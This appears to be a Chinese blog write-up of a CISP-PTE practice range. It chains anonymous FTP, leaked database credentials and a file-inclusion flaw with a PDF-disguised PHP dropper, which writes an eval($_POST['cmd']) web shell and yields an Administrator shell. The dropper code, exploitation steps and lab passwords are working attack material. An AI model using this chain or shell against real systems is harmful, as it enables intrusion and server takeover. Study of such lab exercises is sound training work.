PTE-MG诊所靶场 wirteup

一.信息收集

1.端口扫描

使用nmap进行扫描,结果如下

┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.0.0.91
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 21:37 EDT
Nmap scan report for 10.0.0.91
Host is up (0.027s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 2.0.8 or later
80/tcp   open  http          Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.2.17)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3306/tcp open  mysql         MySQL 5.5.53
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.53 seconds

发现FTP,web,MySQL等服务(靶场环境原因忽略135等端口)

使用postjson工具扫描端口,发现新的端口

域名 端口 端口状态 ip
10.0.0.91 5357 开放 10.0.0.91
10.0.0.91 5985 开放 10.0.0.91
10.0.0.91 6721 开放 10.0.0.91

尝试访问,发现在6721端口有新的站点

2.web路径扫描

使用御剑进行扫描

未发现可利用信息

3.phpinfo

尝试访问phpinfo,成功

二.漏洞扫描

1.FTP服务

尝试匿名用户登录,成功

ftp> user
(username) anonymous
331 Password required for anonymous
Password: 
230 User successfully logged in.
Remote system type is UNIX.
Using binary mode to transfer files.

2.MySQL服务

根据服务版本搜索,未发现可利用漏洞

尝试弱口令攻击,失败

3.web服务

访问80端口web页面

提交信息后得到后台登录页面,尝试弱口令攻击,失败。

访问6721web页面

发现查询API

根据提示得知使用archive参数通过post方法传参来查询档案

猜测有文件包含漏洞,验证成功

三.渗透攻击

使用匿名用户登录FTP服务器,查询文件,发现数据库配置文件

ftp> ls
200 Port command successful.
150 Opening ASCII mode data connection for directory list.
pub
226 Transfer complete
ftp: 收到 8 字节,用时 0.00秒 8000.00千字节/秒。
ftp> cd pub
250 "/pub" is current directory.
ftp> ls
200 Port command successful.
150 Opening ASCII mode data connection for directory list.
config.php
226 Transfer complete
ftp: 收到 15 字节,用时 0.00秒 15.00千字节/秒。

下载查看,发现数据库远程登录账密

$config['db'] = array('hostname' => 'localhost',   //数据库主机
					  'datebase' => 'patient',   //数据库名称
					  'host' => 'localhost',   //数据库主机
					  'username' => 'root',        //数据库用户名
					  'password' => '123456',      //数据库密码,remote:madbm@123
					  'charset' => 'utf8',         //数据库字符集
					  'pre' => 'mg_');             //数据库表前缀

登录数据库,直奔user表,发现后台登录账密表

密码由md5加密,破解失败,添加一个管理员用户登录后台,成功

进入web后台

仔细搜索,在档案管理处发现文件上传,限制类型为PDF

但是同一主机另一个网站存在文件包含漏洞,所以什么类型都无所谓

只要找到上传的文件的路径,就畅通无阻

仔细查找phpinfo,发现web容器绝对路径

由此构造路径 ../../PIzABXDg/ 去包含后台页面,获取源码

<?php require('config_hhh.php');?>
<?php include('lib/functions.php');?>
<?php require('lib/mysql.class.php');?>
<?php
@extract($_GET,EXTR_PREFIX_ALL,"g");
if(isset($_POST['submit']) || isset($g_submit)){
  @check_post_request();
  @extract($_POST,EXTR_PREFIX_ALL,"p");
}

session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION)){
  session_start();
}
$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';

if($g_m != 'login')
  if(!isset($_SESSION['uid'])){
    header('Location:?m=login');
	exit();
  }
  
if(isset($_SESSION['uid']) && $g_m != 'login'){
  $user = $db->select_one('user',array('id' => $_SESSION['uid']));
  if(!$user)
    alert_goto('?m=login','没有这个用户的记录,请重新登录!');
}

if($g_m == 'home'){
  $g_m = 'order';
  $g_o = 'list';
}

$exts = $db->select_date('ext');
foreach($exts as $ext)
  $config['ext'][$ext['id']] = $ext;
foreach($exts as $ext)
  $config['ext'][$ext['code']] = $ext;

$model_file = 'model/'.$g_m.'.php';
if(file_exists($model_file))
  include($model_file);

$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))
  include($operate_file);

create_html();
?>

阅读源码,结合上传点的url得知上传模块源码在model/order_upload.php,继续包含获取源码

<?php
$operates['upload'] = '上传档案';
$target_dir = "CISP-PTE-1413/";
$info = '';

if(isset($_POST["submit"])){
	$target_file = $target_dir . basename($_FILES[fileToUpload]["name"]);
$uploadOK = 1;
$fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(file_exists($target_file)){
	$info="文件已经存在";
	$uploadOK = 0;
}
if($fileType != "pdf"){
	$info = "只允上传PDF文件";
	$uploadOK = 0;
}
if($fileType != "pdf"){
	$info = "只允许上传pdf文件";
	$uploadOK = 0;
}
if($uploadOK == 0){
}else{
	if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)){
		$info = basename($_FILES["fileToUpload"]["name"])."上传成功";
	}else{
		$info = "上传文件时发生错误";
	}
}
}
$main_tpl = "order_upload.htm";
$replace['{info}'] = $info;
?>

阅读源码得到文件上传的路径:CISP-PTE-1413/

构造攻击脚本

<?php
$file = 'shell324.php';

$handle = fopen($file,'w');
$string1 = '$_POST[\'cmd\']';
$string2 = "<?php eval(".$string1.");?>";

if($handle){
    echo "ok\n";
    fwrite($handle,$string2);
    fclose($handle);
}else{
    echo "not ok\n";
}
?>

保存为pdf格式,上传并通过文件包含运行,生成一句话木马,使用工具连接

Get Shell√

currentDir:C:/phpStudy/PHPTutorial/WWW/html/api/
fileRoot:[C:/, D:/]
currentUser:Administrator
osInfo:Windows NT AD01 6.2 build 9200

C:/phpStudy/PHPTutorial/WWW/html/api/ >whoami

ad01\administrator
C:/phpStudy/PHPTutorial/WWW/html/api/ >

直接就是超级管理员,真省事

posted @ 2024-09-10 11:18  WIllow_324  阅读(27)  评论(0编辑  收藏  举报